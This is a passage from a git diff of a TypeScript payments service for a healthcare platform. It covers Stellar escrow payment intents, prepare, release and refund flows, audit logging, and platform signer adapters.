requirePaymentsConfig(); - const client = await escrowClient(requireRecordedContractId(intent)); - - await client.refund({ escrowId: intent.escrowId, caller: platformReleaser as unknown as EscrowSdkKeypair }); - - return commitTransition(actor, intent, 'payment_intent.refunded', 'refunded', (tx) => - paymentsRepo.markStatus(tx, id, 'escrowed', 'refunded'), - ); -} - -/** - * This module's contribution to the patient data export (issue #40). An - * explicit field allowlist: on-chain references (tx hash, escrow id, - * contract id) are the patient's payment record and are included; the - * platform's signing secrets never touch a PaymentIntent row and can't - * appear here. BigInts are strings, matching the HTTP API. Version 2 - * (issue #79) renames `amountStroops` to `amount` and adds `assetCode`. - */ -export const paymentsExportSection: PatientExportSection = { - name: 'payments', - version: 2, - pages(subject, pageSize) { - return paginate( - pageSize, - (cursor, take) => paymentsRepo.findPaymentIntentsPageForPatient(subject.patientProfileId, cursor, take), - async (rows) => { - const facilities = await paymentsRepo.findFacilityNamesByIds([...new Set(rows.map((row) => row.facilityId))]); - const facilityNames = new Map(facilities.map((facility) => [facility.id, facility.name])); - return rows.map((row) => ({ - id: row.id, - prescriptionId: row.prescriptionId, - labOrderId: row.labOrderId, - status: row.status, - amount: row.amount.toString(), - assetCode: row.assetCode, - facility: { id: row.facilityId, name: facilityNames.get(row.facilityId) ?? null }, - escrowId: row.escrowId?.toString() ?? null, - stellarTxHash: row.stellarTxHash, - sorobanContractId: row.sorobanContractId, - createdAt: row.createdAt, - updatedAt: row.updatedAt, - })); - }, - ); - }, -}; -/** Retention hold (issue #41, docs/adr/0010): payment records are kept, so - * a patient who has any is never purged after deletion. */ -export function hasPaymentIntentsForPatient(patientProfileId: string): Promise { - return paymentsRepo.patientHasPaymentIntents(patientProfileId); -} +// payments services β€” this module owns PaymentIntent/WalletLink/ +// PatientWalletLink (relational metadata only β€” no PHI ever passes through +// here) and delegates actual escrow contract calls to +// @docforum/escrow-sdk. This module does NOT reimplement contract logic β€” it +// calls the SDK, persists the resulting tx hash/status, and exposes that +// status to other core modules through this services/ interface, per +// AGENTS.md module-boundary rule. +// +// Custodial v1 (see docs/adr/0004-custodial-payments-v1.md) still funds +// escrows from the platform's own payer identity. ADR 0005 adds the +// non-custodial path: issue #79 made the asset explicit per intent, and +// issue #80 adds prepare(), which builds the patient-signed transaction. +// Release/refund are unchanged. +import { HttpError } from '../../../http-error'; +import { config, type PaymentAsset } from '../../../config'; +import type { PaymentIntent, PaymentIntentStatus } from '@prisma/client'; +import * as paymentsRepo from '../repositories'; +import { loadEscrowSdk, type EscrowSdkKeypair } from './escrow-sdk-loader'; +import { hasTrustline } from './trustline'; +import { getPlatformSigners } from './platform-signers'; +import { resolveEscrowPayee } from './payout-privacy'; +import { getMyPatientProfile, paginate, type PatientExportSection } from '../../patients/services'; +import { prisma } from '../../../db/prisma-client'; +import { parseStroopsAmount } from '../../../utils/stroops'; +import * as auditService from '../../audit/services'; +import type { Prisma } from '@prisma/client'; +import { transitionPaymentIntentStatus } from './state-machine'; +// Types are inferred from the prisma instance; use 'as' assertions where needed + +// Test seams re-exported through the service surface (same convention as the +// auth module's setEmailSender) β€” see escrow-sdk-loader.ts and trustline.ts. +export { setEscrowSdkForTests } from './escrow-sdk-loader'; +export { listEscrowEvents } from './escrow-events'; +export type { EscrowSdkModule } from './escrow-sdk-loader'; +export { setTrustlineCheckerForTests } from './trustline'; +export type { TrustlineChecker } from './trustline'; + +/** + * The prepare half of ADR 0005 step 2. `@docforum/escrow-sdk` 0.2.0 (the + * version this repo currently depends on) has no prepare call β€” that is + * docforum-escrow issue #58 / SDK 0.3.0, and issue #80 depends on it. The + * types below are the contract this module codes against; when the SDK + * publishes it, only `prepareCreateEscrow` below needs to be typed more + * strictly. Until then the call is detected at runtime and the endpoint + * returns a clear 503 instead of pretending to prepare something it can't. + */ +export interface PrepareCreateEscrowParams { + payer: string; + payee: string; + token: string; + amount: bigint; + conditionRef: string; + releaser: string; + /** Unix seconds, matching the contract's `refund_after` (ADR 0005). */ + refundAfter: bigint; +} + +export interface PreparedCreateEscrow { + xdr: string; + txHash: string; + expiryLedger: number; +} + +interface PrepareCapableClient { + prepareCreateEscrow?: (params: PrepareCreateEscrowParams) => Promise; +} + +// SEP-10 Stellar Web Authentication (issue #77). Re-exported through +// this module's service surface (not imported file-by-file from outside) +// per the AGENTS.md module-boundary rule β€” same pattern as the auth +// module's token/throttle re-exports. +export { + createSep10Challenge, + verifySep10Challenge, + resetSep10AccountFetcher, + setSep10AccountFetcher, + validateSep10Config, +} from './sep10'; +export type { Sep10AccountFetcher, Sep10AccountInfo, Sep10ChallengeResponse, Sep10Signer, Sep10VerifyResult } from './sep10'; + +async function requirePaymentsConfig() { + // The per-asset token contract comes from the intent (issue #79), so the + // legacy ESCROW_TOKEN_ID is no longer required for every payment path. + const { activeContractId } = config.payments; + if (!activeContractId) { + throw new HttpError(500, 'Payments is not configured β€” missing env var(s): activeContractId.'); + } + const { payer, releaser } = await getPlatformSigners(); + return { + platformPayer: payer, + platformReleaser: releaser, + escrowContractId: activeContractId, + }; +} +async function escrowClient(contractId: string) { + const { EscrowClient } = await loadEscrowSdk(); + return new EscrowClient({ contractId, rpcUrl: config.payments.rpcUrl, networkPassphrase: config.payments.networkPassphrase }); +} + +export async function verifyPaymentsNetwork(): Promise { + const { startupCheckEnabled, activeContractId, healthCheckEscrowId } = config.payments; + if (!startupCheckEnabled) return; + if (!activeContractId || healthCheckEscrowId === null) { + throw new Error('Payments startup verification is enabled without an active contract and health-check escrow.'); + } + try { + await (await escrowClient(activeContractId)).getStatus(healthCheckEscrowId); + } catch (cause) { + throw new Error('Payments startup verification failed: active escrow contract is unreachable or the configured health-check escrow is invalid.', { cause }); + } +} + +function requireRecordedContractId(intent: { sorobanContractId: string | null }): string { + const contractId = intent.sorobanContractId; + if (!contractId) throw new HttpError(409, 'PaymentIntent has no recorded escrow contract id.'); + if (!config.payments.contractIds.includes(contractId)) { + throw new HttpError(409, 'PaymentIntent references an unregistered escrow contract.'); + } + return contractId; +} +export async function getOwnFacilityProfileId(userId: string): Promise { + const profile = await paymentsRepo.findFacilityProfileByUserId(userId); + if (!profile) throw new HttpError(403, 'No facility profile is associated with this account.'); + return profile.id; +} + +/** The caller's patient profile id β€” every patient-scoped payment read is + * owned through this, never through a client-supplied profile id. */ +export async function getOwnPatientProfileId(userId: string): Promise { + const profile = await paymentsRepo.findPatientProfileByUserId(userId); + if (!profile) throw new HttpError(403, 'No patient profile is associated with this account.'); + return profile.id; +} + +export function linkWallet(facilityId: string, stellarPublicKey: string) { + return paymentsRepo.upsertWalletLink(facilityId, stellarPublicKey); +} + +export function getWalletLink(facilityId: string) { + return paymentsRepo.findWalletLinkByFacilityId(facilityId); +} + +export function getPatientWalletLink(patientProfileId: string) { + return paymentsRepo.findPatientWalletLinkByPatientProfileId(patientProfileId); +} + +/** The per-environment allowlist (issue #79). An intent may only be created + * in one of these assets. */ +export function listPaymentAssets(): PaymentAsset[] { + return config.payments.assets; +} + +function resolveAsset(code: string): PaymentAsset { + const asset = config.payments.assets.find((candidate) => candidate.code === code); + if (!asset) { + throw new HttpError( + 400, + `Unsupported payment asset '${code}'. Allowed: ${config.payments.assets.map((a) => a.code).join(', ')}.`, + 'UNSUPPORTED_PAYMENT_ASSET', + ); + } + return asset; +} + +/** + * Resolves the asset recorded on an intent. Rows created before issue #79 + * have no `tokenContractId` and were native XLM funded against + * `ESCROW_TOKEN_ID` β€” the documented legacy fallback. The allowlist only + * supplies `decimals`/`issuer` for the response; the stored contract id + * wins so an intent keeps paying the asset it was denominated in even if + * the allowlist entry is later rotated. + */ +function resolveAssetForIntent(intent: PaymentIntent): PaymentAsset { + const configured = config.payments.assets.find((asset) => asset.code === intent.assetCode); + const tokenContractId = + intent.tokenContractId ?? + (intent.assetCode === 'XLM' ? config.payments.escrowTokenId : undefined) ?? + configured?.tokenContractId; + if (!tokenContractId) { + throw new HttpError( + 409, + `PaymentIntent uses asset '${intent.assetCode}', whose token contract is not configured.`, + 'PAYMENT_ASSET_NOT_CONFIGURED', + ); + } + return { + code: intent.assetCode, + tokenContractId, + decimals: configured?.decimals ?? 0, + ...(configured?.issuer ? { issuer: configured.issuer } : {}), + }; +} + +/** Checks the payee can hold the asset before any on-chain call. Native XLM + * passes unconditionally; an issued asset needs an authorised trustline. */ +async function requirePayeeTrustline(payee: string, asset: PaymentAsset): Promise { + if (!asset.issuer) return; + if (!(await hasTrustline(payee, asset))) { + throw new HttpError( + 409, + `The facility's linked wallet has no trustline for ${asset.code}. Ask the facility to link a wallet that can hold ${asset.code}.`, + 'PAYEE_TRUSTLINE_MISSING', + ); + } +} + +export interface CreatePaymentIntentInput { + orderType: 'prescription' | 'lab_order'; + orderId: string; + patientProfileId: string; + facilityId: string; + assetCode: string; + /** Smallest unit of `assetCode`. */ + amount: bigint; +} + +export function createPaymentIntent(input: CreatePaymentIntentInput) { + if (input.amount <= 0n) throw new HttpError(400, 'amount must be positive.'); + const asset = resolveAsset(input.assetCode); + return paymentsRepo.createPaymentIntent({ + orderType: input.orderType, + orderId: input.orderId, + patientProfileId: input.patientProfileId, + facilityId: input.facilityId, + assetCode: asset.code, + tokenContractId: asset.tokenContractId, + amount: input.amount, + }); +} + +/** Called by the orders module inside the order-issuance transaction. A + * created intent moves to a corrected order; any funded/terminal intent + * stays attached to the immutable original order. + * + * `catalogItemCode` is snapshotted alongside the amount: the amount is the + * facility price in force when the doctor selected the facility, so a later + * price-list change cannot re-price an existing intent (issue #127). */ +export async function createIntentForIssuedOrder(tx: Prisma.TransactionClient, input: { + kind: 'prescription' | 'lab_order'; orderId: string; patientProfileId: string; doctorProfileId: string; + facilityProfileId: string; amountStroops: bigint; supersedesId: string | null; + catalogItemCode?: string | null; +}) { + // Same guard the facility price list uses: positive integer stroops that + // fit the asset's precision and the contract's i128 amount. Orders are + // still priced in native XLM; issue #79 made the intent's asset explicit + // so this write path has to name it rather than imply it. + const amountStroops = parseStroopsAmount(input.amountStroops, 'amountStroops'); + const asset = resolveAsset('XLM'); + const catalogItemCode = input.catalogItemCode ?? null; + const facility = await tx.facilityProfile.findUnique({ where: { id: input.facilityProfileId }, select: { type: true } }); + const expectedType = input.kind === 'prescription' ? 'pharmacy' : 'lab'; + if (!facility || facility.type !== expectedType) throw new HttpError(400, `The selected facility must be a ${expectedType} facility.`); + + const orderPointer = input.kind === 'prescription' + ? { prescriptionId: input.orderId, labOrderId: null } + : { prescriptionId: null, labOrderId: input.orderId }; + if (input.supersedesId) { + const previous = await tx.paymentIntent.findFirst({ + where: input.kind === 'prescription' ? { prescriptionId: input.supersedesId } : { labOrderId: input.supersedesId }, + }); + if (previous?.status === 'created') { + const moved = await tx.paymentIntent.updateMany({ + where: { id: previous.id, status: 'created' }, + data: { + ...orderPointer, + patientProfileId: input.patientProfileId, + facilityId: input.facilityProfileId, + amount: amountStroops, + assetCode: asset.code, + tokenContractId: asset.tokenContractId, + catalogItemCode, + }, + }); + if (moved.count === 1) return tx.paymentIntent.findUniqueOrThrow({ where: { id: previous.id } }); + } + } + return tx.paymentIntent.create({ + data: { + ...orderPointer, + patientProfileId: input.patientProfileId, + facilityId: input.facilityProfileId, + amount: amountStroops, + assetCode: asset.code, + tokenContractId: asset.tokenContractId, + catalogItemCode, + }, + }); +} + +export async function getPaymentIntent(id: string) { + const intent = await paymentsRepo.findPaymentIntentById(id); + if (!intent) throw new HttpError(404, 'PaymentIntent not found.'); + return intent; +} + +export interface PaymentHistoryFilters { + status?: PaymentIntentStatus; + from?: Date; + to?: Date; + cursor?: string; + limit: number; +} + +function encodePaymentCursor(payment: { createdAt: Date; id: string }): string { + return Buffer.from(`${payment.createdAt.toISOString()}|${payment.id}`, 'utf8').toString('base64url'); +} + +function decodePaymentCursor(cursor: string): { createdAt: Date; id: string } { + const raw = Buffer.from(cursor, 'base64url').toString('utf8'); + const separator = raw.indexOf('|'); + const createdAt = new Date(raw.slice(0, separator)); + const id = raw.slice(separator + 1); + if (separator < 1 || Number.isNaN(createdAt.getTime()) || !id) { + throw new HttpError(400, 'Invalid cursor.', 'INVALID_CURSOR'); + } + return { createdAt, id }; +} + +function paymentPage(filters: PaymentHistoryFilters, owner: { patientProfileId: string } | { facilityId: string }) { + return paymentsRepo.findPaymentHistoryPage(owner, { + status: filters.status, + from: filters.from, + to: filters.to, + before: filters.cursor ? decodePaymentCursor(filters.cursor) : undefined, + take: filters.limit + 1, + }); +} + +function serializeAsset(code: string) { + return { type: code === 'XLM' ? 'native' : 'issued', code }; +} + +function serializePayment(payment: PaymentIntent) { + return { + id: payment.id, + orderType: payment.prescriptionId ? 'prescription' : 'lab_order', + orderId: payment.prescriptionId ?? payment.labOrderId, + status: payment.status, + amount: payment.amount.toString(), + assetCode: payment.assetCode, + asset: serializeAsset(payment.assetCode), + escrowId: payment.escrowId?.toString() ?? null, + stellarTxHash: payment.stellarTxHash, + sorobanContractId: payment.sorobanContractId, + refundAfter: payment.refundAfter, + createdAt: payment.createdAt, + updatedAt: payment.updatedAt, + }; +} + +async function listPayments(filters: PaymentHistoryFilters, owner: { patientProfileId: string } | { facilityId: string }) { + const rows = await paymentPage(filters, owner); + const page = rows.slice(0, filters.limit); + const last = page[page.length - 1]; + return { + items: page.map(serializePayment), + nextCursor: rows.length > filters.limit && last ? encodePaymentCursor(last) : null, + }; +} + +export async function listMyPayments(userId: string, filters: PaymentHistoryFilters) { + const profile = await getMyPatientProfile(userId); + return listPayments(filters, { patientProfileId: profile.id }); +} + +export async function listFacilityPaymentLedger(userId: string, filters: PaymentHistoryFilters) { + const facilityId = await getOwnFacilityProfileId(userId); + const [page, aggregates] = await Promise.all([ + listPayments(filters, { facilityId }), + paymentsRepo.aggregateFacilityPayments(facilityId, filters.from, filters.to), + ]); + // Totals are per asset: summing XLM and USDC smallest units would be + // meaningless, so each allowlisted asset gets its own row. + const totalsByAsset = new Map>(); + for (const row of aggregates) { + const byStatus = totalsByAsset.get(row.assetCode) ?? new Map(); + byStatus.set(row.status, (byStatus.get(row.status) ?? 0n) + (row._sum.amount ?? 0n)); + totalsByAsset.set(row.assetCode, byStatus); + } + return { + ...page, + totals: [...totalsByAsset.entries()] + .sort(([a], [b]) => a.localeCompare(b)) + .map(([code, byStatus]) => ({ + asset: serializeAsset(code), + escrowed: (byStatus.get('escrowed') ?? 0n).toString(), + released: (byStatus.get('released') ?? 0n).toString(), + refunded: (byStatus.get('refunded') ?? 0n).toString(), + })), + }; +} + +/** Public, non-identifying references only: the escrow is on a public + * ledger anyway. No patient data, no secrets. */ +function intentAuditMetadata(intent: PaymentIntent) { + return { + orderType: intent.prescriptionId ? 'prescription' : 'lab_order', + orderId: intent.prescriptionId ?? intent.labOrderId!, + amount: intent.amount.toString(), + assetCode: intent.assetCode, + escrowId: intent.escrowId?.toString() ?? null, + stellarTxHash: intent.stellarTxHash, + sorobanContractId: intent.sorobanContractId, + preparedTxHash: intent.preparedTxHash, + }; +} + +/** Commits a status change and its AuditEvent together (issue #43). If the + * row moved on concurrently, nothing is written and the caller gets 409. */ +async function commitTransition( + actor: auditService.AuditActor, + // PaymentIntent row shape from prisma operations; use 'as' since Prisma 7 + // client types may not match the expected exports. + intent: any, + action: string, + to: PaymentIntentStatus, + write: (tx: any) => Promise, +): Promise { + if (transitionPaymentIntentStatus(intent.status, to) !== to) { + throw new HttpError(409, `PaymentIntent cannot transition from '${intent.status}' to '${to}'.`); + } + return prisma.$transaction(async (tx) => { + const updated = await write(tx); + if (!updated) { + throw new HttpError(409, `PaymentIntent changed concurrently β€” it is no longer '${intent.status}'.`); + } + await auditService.record(tx, actor, { + entityType: 'PaymentIntent', + entityId: intent.id, + action, + fromState: intent.status, + toState: to, + metadata: intentAuditMetadata(updated), + }); + return updated; + }); +} + +/** Funds the escrow from the platform's own payer identity. The intent must be `created` and its facility must have a linked wallet (the on-chain payee). */ +export async function fundPaymentIntent(actor: auditService.AuditActor, id: string) { + const intent = await getPaymentIntent(id); + if (transitionPaymentIntentStatus(intent.status, 'escrowed') !== 'escrowed') { + throw new HttpError(409, `PaymentIntent is '${intent.status}', not 'created' β€” cannot fund.`); + } + + const walletLink = await paymentsRepo.findWalletLinkByFacilityId(intent.facilityId); + if (!walletLink) throw new HttpError(409, 'The facility for this payment has no linked wallet.'); + + const { platformPayer, platformReleaser, escrowContractId } = await requirePaymentsConfig(); + const payee = resolveEscrowPayee({ + facilityAddress: walletLink.stellarPublicKey, + mode: config.payments.payoutPrivacyMode, + poolAddress: config.payments.payoutPrivacyPoolAddress, + production: process.env.NODE_ENV === 'production', + }); + + const asset = resolveAssetForIntent(intent); + // The trustline belongs to the address that actually receives the payout, + // which in pooled mode is the pool rather than the facility wallet. + await requirePayeeTrustline(payee, asset); + + const client = await escrowClient(escrowContractId); + + const { escrowId, txHash } = await client.createEscrow({ + payer: platformPayer as unknown as EscrowSdkKeypair, + payee, + token: asset.tokenContractId, + amount: intent.amount, + // The PaymentIntent's own id is the opaque condition_ref β€” the + // contract never interprets it (docforum-escrow ADR 0001); it's + // just how we can trace an on-chain escrow back to this record. + conditionRef: intent.id, + releaser: platformReleaser.publicKey(), + }); + + return commitTransition(actor, intent, 'payment_intent.funded', 'escrowed', (tx) => + paymentsRepo.markEscrowed(tx, id, { + escrowId, + stellarTxHash: txHash, + sorobanContractId: escrowContractId, + // Legacy rows start with a null token id; record what was actually used. + tokenContractId: asset.tokenContractId, + }), + ); +} + +export interface PreparePaymentIntentResult { + intent: PaymentIntent; + xdr: string; + txHash: string; + expiryLedger: number; + expiresAt: Date; + refundAfter: Date; +} + +/** ADR 0005's refund deadline: order expiry + grace. Orders have no expiry + * field yet (Phase 4 placeholders), so the anchor is the later of the + * intent's creation and now β€” preparing a week-old intent must not hand the + * patient a deadline that has already passed. */ +function computeRefundAfter(intent: PaymentIntent, now: Date): Date { + const anchorMs = Math.max(intent.createdAt.getTime(), now.getTime()); + const windowMs = (config.payments.orderExpiryHours + config.payments.refundGraceHours) * 60 * 60 * 1000; + return new Date(anchorMs + windowMs); +} + +/** `awaiting_signature -> created` for one intent. Returns false when it was + * no longer in that state (a concurrent expiry or re-prepare won). */ +async function expirePreparedIntent(id: string, now: Date): Promise { + return prisma.$transaction(async (tx) => { + const updated = await paymentsRepo.expirePrepared(tx, id, now); + if (!updated) return false; + await auditService.record(tx, auditService.SYSTEM_ACTOR, { + entityType: 'PaymentIntent', + entityId: id, + action: 'payment_intent.prepare_expired', + fromState: 'awaiting_signature', + toState: 'created', + metadata: intentAuditMetadata(updated), + }); + return true; + }); +} + +/** Sweep used by src/jobs/payment-intents.ts. Expiry is a normal case, not + * an error: the intent goes back to `created` so the patient can prepare + * again. Conditional updates mean overlapping sweeps are safe. */ +export async function expireStalePreparedIntents(now = new Date(), max = 100): Promise<{ expired: number }> { + let expired = 0; + // Drain the backlog in bounded pages; stop early if a page made no + // progress (every row was claimed by a concurrent worker). + for (;;) { + const ids = await paymentsRepo.findExpiredPreparedIntentIds(now, max); + if (ids.length === 0) break; + let progressed = 0; + for (const id of ids) { + if (await expirePreparedIntent(id, now)) progressed += 1; + } + expired += progressed; + if (ids.length < max || progressed === 0) break; + } + return { expired }; +} + +/** + * Prepares a patient-signed create_escrow transaction (ADR 0005 step 2, + * issue #80). Builds + simulates via the SDK, stores the transaction hash + * and moves the intent to `awaiting_signature` with a conditional update. + * The XDR is returned unsigned; the browser only hands it to the patient's + * wallet and returns the signed bytes to the (not-yet-built) submit route. + */ +export async function preparePaymentIntent( + actor: auditService.AuditActor, + id: string, + now = new Date(), +): Promise { + if (!actor.userId) throw new HttpError(401, 'Authentication required.'); + const patientProfileId = await getOwnPatientProfileId(actor.userId); + + let intent = await getPaymentIntent(id); + // 404, not 403, for someone else's intent: don't confirm it exists. + if (intent.patientProfileId !== patientProfileId) throw new HttpError(404, 'PaymentIntent not found.'); + + if (intent.status === 'awaiting_signature') { + const live = + intent.preparedXdr !== null && + intent.preparedTxHash !== null && + intent.preparedExpiryLedger !== null && + intent.preparedExpiresAt !== null && + intent.refundAfter !== null; + if (!live) { + throw new HttpError(409, 'This payment already has a prepared transaction.', 'PREPARE_ALREADY_PENDING'); + } + // Idempotent re-prepare while the transaction is still valid: return the + // exact same transaction instead of building a second live one. + if (intent.preparedExpiresAt!.getTime() > now.getTime()) { + return { + intent, + xdr: intent.preparedXdr!, + txHash: intent.preparedTxHash!, + expiryLedger: intent.preparedExpiryLedger!, + expiresAt: intent.preparedExpiresAt!, + refundAfter: intent.refundAfter!, + }; + } + // Past its window but the sweep hasn't run yet β€” expiry is a normal + // case, so roll it back and prepare a fresh transaction now. + await expirePreparedIntent(intent.id, now); + intent = await getPaymentIntent(id); + if (intent.status !== 'created') { + throw new HttpError(409, `PaymentIntent is '${intent.status}', not 'created' β€” cannot prepare.`); + } + } + + if (intent.status !== 'created') { + throw new HttpError(409, `PaymentIntent is '${intent.status}', not 'created' β€” cannot prepare.`); + } + + const patientWallet = await getPatientWalletLink(patientProfileId); + if (!patientWallet) { + throw new HttpError( + 409, + 'No verified Stellar wallet is linked to this patient β€” link one before paying.', + 'WALLET_NOT_LINKED', + ); + } + + const payeeWallet = await getWalletLink(intent.facilityId); + if (!payeeWallet) { + throw new HttpError( + 409, + 'The facility for this payment has no linked wallet.', + 'FACILITY_WALLET_NOT_LINKED', + ); + } + + const asset = resolveAssetForIntent(intent); + await requirePayeeTrustline(payeeWallet.stellarPublicKey, asset); + + const { platformReleaser, escrowContractId } = await requirePaymentsConfig(); + const client = (await escrowClient(escrowContractId)) as unknown as PrepareCapableClient; + if (typeof client.prepareCreateEscrow !== 'function') { + throw new HttpError( + 503, + 'The installed escrow SDK cannot prepare unsigned transactions yet (requires docforum-escrow SDK 0.3.0).', + 'ESCROW_SDK_PREPARE_UNSUPPORTED', + ); + } + + const refundAfter = computeRefundAfter(intent, now); + const prepared = await client.prepareCreateEscrow({ + payer: patientWallet.stellarPublicKey, + payee: payeeWallet.stellarPublicKey, + token: asset.tokenContractId, + amount: intent.amount, + conditionRef: intent.id, + releaser: platformReleaser.publicKey(), + refundAfter: BigInt(Math.floor(refundAfter.getTime() / 1000)), + }); + + const preparedExpiresAt = new Date(now.getTime() + config.payments.prepareTtlSeconds * 1000); + const updated = await commitTransition(actor, intent, 'payment_intent.prepared', 'awaiting_signature', (tx) => + paymentsRepo.markAwaitingSignature(tx, id, { + preparedTxHash: prepared.txHash, + preparedXdr: prepared.xdr, + preparedExpiryLedger: prepared.expiryLedger, + preparedExpiresAt, + refundAfter, + }), + ); + + return { + intent: updated, + xdr: prepared.xdr, + txHash: prepared.txHash, + expiryLedger: prepared.expiryLedger, + expiresAt: preparedExpiresAt, + refundAfter, + }; +} + +/** Releases the escrow to the facility's linked wallet. v1: admin-triggered (see ADR 0004 "Consequences") β€” no automatic FulfillmentRecord trigger yet, since that model doesn't exist. */ +export async function releasePaymentIntent(actor: auditService.AuditActor, id: string) { + const intent = await getPaymentIntent(id); + if (transitionPaymentIntentStatus(intent.status, 'released') !== 'released' || intent.escrowId === null) { + throw new HttpError(409, `PaymentIntent is '${intent.status}', not 'escrowed' β€” cannot release.`); + } + + const { platformReleaser } = await requirePaymentsConfig(); + const client = await escrowClient(requireRecordedContractId(intent)); + + await client.release({ escrowId: intent.escrowId, caller: platformReleaser as unknown as EscrowSdkKeypair }); + + return commitTransition(actor, intent, 'payment_intent.released', 'released', (tx) => + paymentsRepo.markStatus(tx, id, 'escrowed', 'released'), + ); +} + +/** Refunds the escrow back toward the platform payer. v1: admin-triggered, same reasoning as release. */ +export async function refundPaymentIntent(actor: auditService.AuditActor, id: string) { + const intent = await getPaymentIntent(id); + if (transitionPaymentIntentStatus(intent.status, 'refunded') !== 'refunded' || intent.escrowId === null) { + throw new HttpError(409, `PaymentIntent is '${intent.status}', not 'escrowed' β€” cannot refund.`); + } + + const { platformReleaser } = await requirePaymentsConfig(); + const client = await escrowClient(requireRecordedContractId(intent)); + + await client.refund({ escrowId: intent.escrowId, caller: platformReleaser as unknown as EscrowSdkKeypair }); + + return commitTransition(actor, intent, 'payment_intent.refunded', 'refunded', (tx) => + paymentsRepo.markStatus(tx, id, 'escrowed', 'refunded'), + ); +} + +/** + * This module's contribution to the patient data export (issue #40). An + * explicit field allowlist: on-chain references (tx hash, escrow id, + * contract id) are the patient's payment record and are included; the + * platform's signing secrets never touch a PaymentIntent row and can't + * appear here. BigInts are strings, matching the HTTP API. Version 2 + * (issue #79) renames `amountStroops` to `amount` and adds `assetCode`. + */ +export const paymentsExportSection: PatientExportSection = { + name: 'payments', + version: 2, + pages(subject, pageSize) { + return paginate( + pageSize, + (cursor, take) => paymentsRepo.findPaymentIntentsPageForPatient(subject.patientProfileId, cursor, take), + async (rows) => { + const facilities = await paymentsRepo.findFacilityNamesByIds([...new Set(rows.map((row) => row.facilityId))]); + const facilityNames = new Map(facilities.map((facility) => [facility.id, facility.name])); + return rows.map((row) => ({ + id: row.id, + prescriptionId: row.prescriptionId, + labOrderId: row.labOrderId, + status: row.status, + amount: row.amount.toString(), + assetCode: row.assetCode, + facility: { id: row.facilityId, name: facilityNames.get(row.facilityId) ?? null }, + escrowId: row.escrowId?.toString() ?? null, + stellarTxHash: row.stellarTxHash, + sorobanContractId: row.sorobanContractId, + createdAt: row.createdAt, + updatedAt: row.updatedAt, + })); + }, + ); + }, +}; +/** Retention hold (issue #41, docs/adr/0010): payment records are kept, so + * a patient who has any is never purged after deletion. */ +export function hasPaymentIntentsForPatient(patientProfileId: string): Promise { + return paymentsRepo.patientHasPaymentIntents(patientProfileId); +} diff --git a/backend/src/modules/payments/services/payout-privacy.ts b/backend/src/modules/payments/services/payout-privacy.ts index a76ff9af..a6356774 100644 --- a/backend/src/modules/payments/services/payout-privacy.ts +++ b/backend/src/modules/payments/services/payout-privacy.ts @@ -1,17 +1,17 @@ -import { HttpError } from '../../../http-error'; - -export function resolveEscrowPayee(input: { - facilityAddress: string; - mode: 'facility' | 'pooled'; - poolAddress?: string; - production: boolean; -}): string { - if (input.mode === 'facility') return input.facilityAddress; - if (input.production) { - throw new HttpError(503, 'Pooled payout privacy is a testnet prototype and is disabled in production.'); - } - if (!input.poolAddress || !/^G[A-Z2-7]{55}$/.test(input.poolAddress)) { - throw new HttpError(503, 'Pooled payout privacy requires a valid PAYOUT_PRIVACY_POOL_ADDRESS.'); - } - return input.poolAddress; +import { HttpError } from '../../../http-error'; + +export function resolveEscrowPayee(input: { + facilityAddress: string; + mode: 'facility' | 'pooled'; + poolAddress?: string; + production: boolean; +}): string { + if (input.mode === 'facility') return input.facilityAddress; + if (input.production) { + throw new HttpError(503, 'Pooled payout privacy is a testnet prototype and is disabled in production.'); + } + if (!input.poolAddress || !/^G[A-Z2-7]{55}$/.test(input.poolAddress)) { + throw new HttpError(503, 'Pooled payout privacy requires a valid PAYOUT_PRIVACY_POOL_ADDRESS.'); + } + return input.poolAddress; } \ No newline at end of file diff --git a/backend/src/modules/payments/services/platform-signer.ts b/backend/src/modules/payments/services/platform-signer.ts index 7905d00f..38787473 100644 --- a/backend/src/modules/payments/services/platform-signer.ts +++ b/backend/src/modules/payments/services/platform-signer.ts @@ -1,169 +1,169 @@ -/** Signer surface shared with docforum-escrow issue #60. XDR values cross the - * process boundary as strings so remote signers never receive PHI or app data. */ -export interface PlatformSignerOptions { - networkPassphrase: string; - [key: string]: unknown; -} - -/** SEP-43 result shapes. @stellar/stellar-sdk's contract client reads - * `signedTxXdr` back from whatever signer it is given. */ -export interface SignedTransaction { - signedTxXdr: string; - signerAddress?: string; -} - -export interface SignedAuthEntry { - signedAuthEntry: string; - signerAddress?: string; -} - -export interface PlatformSigner { - publicKey(): string; - signTransaction(xdr: string, options: PlatformSignerOptions): Promise; - signAuthEntry?(authEntryXdr: string, options: PlatformSignerOptions): Promise; -} - -/** What `contract.basicNodeSigner(keypair, networkPassphrase)` returns. */ -export interface EnvSignerDelegate { - signTransaction(xdr: string, options?: PlatformSignerOptions): Promise; - signAuthEntry(authEntryXdr: string, options?: PlatformSignerOptions): Promise; -} - -export type PlatformSignerRole = 'payer' | 'releaser'; - -export interface RemoteSignerConfig { - endpoint: string; - token: string; - role: PlatformSignerRole; - expectedPublicKey: string; - networkPassphrase: string; - timeoutMs: number; -} - -export class PlatformSignerError extends Error { - constructor(message: string) { - super(message); - this.name = 'PlatformSignerError'; - } -} - -/** Adapter for a local keypair, wrapped with stellar-sdk's `basicNodeSigner`. - * A bare Keypair has no `signTransaction`, so it can't be the delegate. */ -export class EnvPlatformSigner implements PlatformSigner { - constructor(private readonly accountId: string, private readonly signer: EnvSignerDelegate) {} - - publicKey(): string { - return this.accountId; - } - - async signTransaction(xdr: string, options: PlatformSignerOptions): Promise { - let result: SignedTransaction; - try { - result = await this.signer.signTransaction(xdr, options); - } catch { - throw new PlatformSignerError('Environment transaction signing failed.'); - } - if (typeof result?.signedTxXdr !== 'string' || result.signedTxXdr.length === 0) { - throw new PlatformSignerError('Environment signer returned an invalid signing response.'); - } - return { signedTxXdr: result.signedTxXdr, signerAddress: this.accountId }; - } - - async signAuthEntry(authEntryXdr: string, options: PlatformSignerOptions): Promise { - let result: SignedAuthEntry; - try { - result = await this.signer.signAuthEntry(authEntryXdr, options); - } catch { - throw new PlatformSignerError('Environment authorization signing failed.'); - } - if (typeof result?.signedAuthEntry !== 'string' || result.signedAuthEntry.length === 0) { - throw new PlatformSignerError('Environment signer returned an invalid authorization response.'); - } - return { signedAuthEntry: result.signedAuthEntry, signerAddress: this.accountId }; - } -} - -// stellar-sdk is ESM-only in practice on Node 20 (its CJS build requires an -// ESM dependency), so it is loaded with a dynamic import, like the escrow SDK. -type StellarSdkModule = typeof import('@stellar/stellar-sdk', { with: { 'resolution-mode': 'import' } }); -type 